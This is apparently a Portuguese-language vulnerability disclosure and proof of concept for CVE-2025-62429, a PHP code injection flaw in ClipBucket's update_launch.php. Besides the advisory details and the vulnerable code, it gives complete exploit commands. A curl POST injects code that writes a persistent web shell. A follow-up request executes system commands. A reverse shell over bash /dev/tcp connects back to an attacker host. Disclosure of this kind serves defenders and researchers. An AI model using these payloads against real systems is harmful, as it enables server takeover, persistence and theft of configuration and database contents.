
CVE-2025-62429 | clipbucket RCE
Prova de Conceito para RCE via Injeção de Código PHP em update_launch.php
Divulgação: Originalmente reportado por mim via GHSA-3h9c-7j8r-xc3v
⚠️ Uso autorizado apenas para testes de penetração/pesquisa.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2025-62429 |
| Severidade | 🔴 Alta |
| Pontuação CVSS | 7.2 |
| Vetor CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: Injeção de Comando do SO, CWE-94: Injeção de Código |
| Produto Afetado | ClibBucket <= 5.5.3 - #79 |
| Versão Corrigida | 5.5.3 - #80 |
| Aviso | GHSA-3h9c-7j8r-xc3v |
Existe uma vulnerabilidade de Execução Remota de Código (RCE) Autenticada no ClipBucket v5.5.3-61. A vulnerabilidade é classificada como CWE-94: Controle Inadequado da Geração de Código ('Injeção de Código'). A aplicação não sanitiza corretamente a entrada controlada pelo usuário usada para gerar código PHP executável em update_launch.php. Um administrador autenticado pode explorar isso para obter execução completa de comandos no servidor subjacente, escalando privilégios de um administrador web para o usuário do sistema (por exemplo, containeruser).
A vulnerabilidade está localizada em upload/admin_area/actions/update_launch.php. Este script facilita atualizações do sistema gerando dinamicamente um script PHP temporário em segundo plano.
Trecho de Código Vulnerável: upload/admin_area/actions/update_launch.php (Linhas 40-86)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
Mecanismo de Exploração:
Como o parâmetro type é concatenado na string $data sem escape ou sanitização, um atacante pode usar uma aspa simples (') para sair do contexto literal da string. Em seguida, pode injetar funções PHP arbitrárias (como system() ou file_put_contents()) e comentar o restante do código original usando //. Isso resulta na execução de código fornecido pelo atacante com os privilégios do processo PHP-CLI.
PHPSESSID válido.
Primeiro demonstramos a vulnerabilidade implantando um web shell persistente na raiz do documento.
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
Após confirmar o RCE, um shell interativo é estabelecido para pós-exploração.
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
A máquina atacante recebe uma conexão, concedendo acesso interativo completo ao shell como o usuário containeruser.
A exploração bem-sucedida permite que um atacante execute comandos arbitrários do sistema. Isso resulta em:
config.inc.php) e o banco de dados inteiro.Este problema está relacionado à vulnerabilidade divulgada anteriormente:
Após análise adicional, constatou-se que a vulnerabilidade persiste no ClipBucket v5.5.3 devido a uma correção incompleta.
Enquanto o aviso original abordava parte do problema, o vetor de injeção de código PHP através do parâmetro type em update_launch.php permaneceu explorável.
Este aviso fornece detalhes técnicos adicionais, verificação na versão mais recente e um cenário completo de exploração ponta a ponta.